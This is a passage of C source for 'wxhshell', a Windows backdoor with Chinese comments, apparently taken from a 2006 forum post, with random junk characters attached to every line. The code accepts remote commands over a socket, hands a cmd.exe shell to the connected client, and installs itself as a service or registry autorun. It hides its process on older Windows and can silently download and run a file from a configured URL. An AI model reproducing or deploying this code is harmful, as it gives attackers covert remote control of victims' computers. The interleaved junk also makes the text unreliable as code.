5vP=Wf cW  
    switch(cmd[0]) { d ,"L8  
  G~. bi<(v  
  // 帮助 fx74h{3u  
  case '?': { c]Z@L~WW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4Su|aWL-  
    break; K U;d[Z@g  
  } V1l9T_;f  
  // 安装 K>a@AXC  
  case 'i': { bM@8[&t a  
    if(Install()) g$?kL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wC&+nS1  
    else v % c-El%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vV$6fvS  
    break; ;rvZ!/  
    } rl__3q  
  // 卸载 UngK9uB~  
  case 'r': { B5R/GV  
    if(Uninstall()) ?xTdL738  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,qUOPW?=  
    else |g`:K0BI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R? Ys%~5  
    break; jhx@6[  
    } 6s<w} O  
  // 显示 wxhshell 所在路径 5Sh.4A\  
  case 'p': { %^qf0d*  
    char svExeFile[MAX_PATH]; |V dr/'  
    strcpy(svExeFile,"\n\r"); k$d+w][  
      strcat(svExeFile,ExeFile); (@(rz/H  
        send(wsh,svExeFile,strlen(svExeFile),0); LX%UkfA9  
    break; 6'a1]K  
    } (?ofL|Cg(  
  // 重启 e$Npo<u  
  case 'b': { vyhxS.[9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9{- Sa  
    if(Boot(REBOOT)) 6\5"36&/rQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mo*ClU7  
    else { Ld4Jp`Zg  
    closesocket(wsh); b%_[\((  
    ExitThread(0); +Rq7m]  
    } <c!I\y  
    break; u^X,ASkQ  
    } a? <Ar#)j  
  // 关机 e b*w$|y6"  
  case 'd': { n38l!m(.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o|njgmF;\  
    if(Boot(SHUTDOWN)) |+h8g@;Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ry7 [/)  
    else { &60#y4  
    closesocket(wsh); q% pjY  
    ExitThread(0); /4{.J=R}  
    } -;s-*$I  
    break; n[c/L8j  
    } &{=`g+4n  
  // 获取shell V|T3blG?D  
  case 's': {  ~=Q|EhF5  
    CmdShell(wsh); p}K\rpvJpu  
    closesocket(wsh); $ 0Up.  
    ExitThread(0); s9 .nU  
    break; O8<@+xlX  
  } 2E/yZ ~2s  
  // 退出 P$hmDTn72  
  case 'x': { o4d[LV4DS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $g@-WNe  
    CloseIt(wsh); xA#'%|"  
    break; l ]CnLqf&  
    } R) 'AI[la  
  // 离开 ;FH_qF`.  
  case 'q': { \?K>~{)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5Vu@gRk_  
    closesocket(wsh); a"pejW`m  
    WSACleanup(); 15U[F0b  
    exit(1); `7o(CcF6H  
    break; k_A 9gj1  
        } 0o*  
  } ;Y"*Z2U  
  } d_!l RQ^N  
5;yVA  
  // 提示信息 Y:3\z?oV[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oP`yBX  
} \-scGemH  
  } Q!(qL[o  
1Zi(5S)  
  return; W:XN!  
} $/XR/  
rxM)SC;P  
// shell模块句柄 ^[u*m%UB  
int CmdShell(SOCKET sock) B>{\qj)%  
{ F3,djZq  
STARTUPINFO si; dq U.2~9  
ZeroMemory(&si,sizeof(si)); |vf /M|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o ImW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :eR[lR^4*  
PROCESS_INFORMATION ProcessInfo; Mz:t[rfs  
char cmdline[]="cmd"; r\f|r$i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }RPeAcbU_  
  return 0; _3{,nhkf:!  
} -mPrmapb3  
/`YbHYNF[  
// 自身启动模式 8C4 =f  
int StartFromService(void) O,A}p:Pgs  
{ l0g`;BI_  
typedef struct V9r58hbVT  
{ {I~[a#^  
  DWORD ExitStatus; 8~s-@3J  
  DWORD PebBaseAddress; AcCM W@e  
  DWORD AffinityMask; `h+1u`FJ  
  DWORD BasePriority; u, Rhm-`  
  ULONG UniqueProcessId; Vo-]&u&cr  
  ULONG InheritedFromUniqueProcessId; 4}t&AW4  
}   PROCESS_BASIC_INFORMATION; v*.#LJEm  
Df L>fk  
PROCNTQSIP NtQueryInformationProcess; AG==A&d>$  
4t;m^Iv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d;c<" +  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DHO+JtO  
q*kieqG  
  HANDLE             hProcess; SjRR8p<   
  PROCESS_BASIC_INFORMATION pbi; !&=%#i  
D8I)3cXa'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zcTY"w\b  
  if(NULL == hInst ) return 0; :1JICxAU  
qf qp}g\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y =BXV7\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }bxx]rDl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `+go| 5N2  
Q8sCI An{  
  if (!NtQueryInformationProcess) return 0; %=O$@.%Zc  
Hxm CKW!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YvP u%=eF  
  if(!hProcess) return 0; [ queXDn"m  
wcI4Y0+J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bhnwb0b<  
<fLk\ =  
  CloseHandle(hProcess); I$7TnMug  
6qgII~F'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^-'t`mRl]d  
if(hProcess==NULL) return 0; ->S6S_H/+&  
EjYCOb-  
HMODULE hMod; M+N7JpR  
char procName[255]; koizk&)  
unsigned long cbNeeded; W%k0_Y/5  
P=jbr"5Q:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U2(|/M+  
ZdJer6:Z}  
  CloseHandle(hProcess); ?-e'gC  
b@&ydgmaQ  
if(strstr(procName,"services")) return 1; // 以服务启动 :8<\]}J  
U.@j !UrZ  
  return 0; // 注册表启动 yfD)|lK  
} G2x5%`   
6c/Tm0[  
// 主模块 A -dL_3  
int StartWxhshell(LPSTR lpCmdLine) H#joc0?P  
{ FS vtiNW<  
  SOCKET wsl; I@f">&^  
BOOL val=TRUE; Cl+TjmOV\`  
  int port=0; #VwA?$4g`  
  struct sockaddr_in door; q;kN+NK64  
Wo^r#iRko  
  if(wscfg.ws_autoins) Install(); vG<JOxP  
wPl!}HNf  
port=atoi(lpCmdLine); o5N];Nj  
8;YN`S!o  
if(port<=0) port=wscfg.ws_port; vkXdKL(q  
Va1 eG]jQ  
  WSADATA data; L/.$0@$bv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mmVx',k  
z <"7vR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h4GR:`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2Q,8@2w;  
  door.sin_family = AF_INET; :K3nJ1G&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c9dH ^t  
  door.sin_port = htons(port); ~la=rh3  
?6bk&"T?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'CH|w~E  
closesocket(wsl); ;NrkX?Y  
return 1; _faI*OY8  
} w:z@!<  
tzxp0&:Z].  
  if(listen(wsl,2) == INVALID_SOCKET) { m_TZY_;  
closesocket(wsl); T1y,L<7?  
return 1; jG3}V3|.  
} S"iQQV{)Z  
  Wxhshell(wsl); vYD>m~Qc^  
  WSACleanup(); {9<2{$Og  
l.i"Z pik  
return 0; )y7SkH|  
AUnRr+o  
} [G/q*a:K  
H]. 4~ 8  
// 以NT服务方式启动 j${:Y$VmE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {.N" 6P  
{ #lax0IYY=  
DWORD   status = 0; #zcp!WE.OI  
  DWORD   specificError = 0xfffffff; <%JRZYZ  
]]s_ 8u 3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sX3Vr&r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j~G^J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VZ*Q|  
  serviceStatus.dwWin32ExitCode     = 0; Dk|<&uVV  
  serviceStatus.dwServiceSpecificExitCode = 0; E\r5!45r  
  serviceStatus.dwCheckPoint       = 0; Q~4o{"3.'  
  serviceStatus.dwWaitHint       = 0; !}()mrIlP  
'nNw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); : 5@cj j  
  if (hServiceStatusHandle==0) return; %>uGzQ61  
j\nnx8`7  
status = GetLastError(); RGGP6SDc  
  if (status!=NO_ERROR)  Lp%V$'  
{ )S$!36Ni[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E0c5c  
    serviceStatus.dwCheckPoint       = 0; }TRr*] P<%  
    serviceStatus.dwWaitHint       = 0; fV3!x,H  
    serviceStatus.dwWin32ExitCode     = status; AAsl )  
    serviceStatus.dwServiceSpecificExitCode = specificError; P,!k^J3:l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >R?EJ;h  
    return; 181-m7W  
  } {Gs&u>>R"^  
4yC{BRbi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VG'oy  
  serviceStatus.dwCheckPoint       = 0; /D_8uTS>d[  
  serviceStatus.dwWaitHint       = 0; #UC4l]Ru A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fp9ksxb@m  
} q<}5KY  
^Y xqJy  
// 处理NT服务事件,比如:启动、停止 ?Z] }G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \1RQ),5 %]  
{ cW),Y|8  
switch(fdwControl)  !+IxPn  
{ U<eVLfSij  
case SERVICE_CONTROL_STOP:  'TV^0D"  
  serviceStatus.dwWin32ExitCode = 0; qkv.,z"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pi5Al)0  
  serviceStatus.dwCheckPoint   = 0; SGH"m/ e  
  serviceStatus.dwWaitHint     = 0; ?M7nbfy[A@  
  { V0L^pDLOV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "8Pxf=   
  } `NV =2T  
  return; <P( K,L?r  
case SERVICE_CONTROL_PAUSE: LaJc;Jt$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G`w,$:,  
  break; -nO('(t  
case SERVICE_CONTROL_CONTINUE: uavts9v<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7(~^6Ql!  
  break; 96vv85g  
case SERVICE_CONTROL_INTERROGATE: 3OFv_<6  
  break; 7 .+kcqX  
}; S'Q$N-Dy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y_%\kM?7  
} AY0o0\6cw  
"[H9)aAj7  
// 标准应用程序主函数 sb(,w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) " %|CD"@  
{ {Y'DUt5j  
_Ux>BJmP  
// 获取操作系统版本 Yq/|zTe{  
OsIsNt=GetOsVer(); QE!cf@~n"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 622mNY  
ms ;RJT2O'  
  // 从命令行安装 ,D3q8?j  
  if(strpbrk(lpCmdLine,"iI")) Install(); "S[VtuxPCU  
I_#)>%H  
  // 下载执行文件 UNYU2ze'  
if(wscfg.ws_downexe) { RGLwtN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KEY M@,'  
  WinExec(wscfg.ws_filenam,SW_HIDE); yN~=3b>  
} "6pjkEt4  
;pb~Zk/[,w  
if(!OsIsNt) { 8.jd'yp*J  
// 如果时win9x,隐藏进程并且设置为注册表启动 V* fDvr0  
HideProc(); ;'ts dsu}  
StartWxhshell(lpCmdLine); `"(7)T{  
} fXIeCn  
else >6ch[W5k@  
  if(StartFromService()) $F G4wA  
  // 以服务方式启动 &.<{c `-  
  StartServiceCtrlDispatcher(DispatchTable); yQ+#Tlji  
else m98k /w_  
  // 普通方式启动 EE&~D~yHUL  
  StartWxhshell(lpCmdLine); ,)GCg@7B  
jK I+-s  
return 0; QE)g==d  
}
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只看该作者 1 发表于: 2006-10-10
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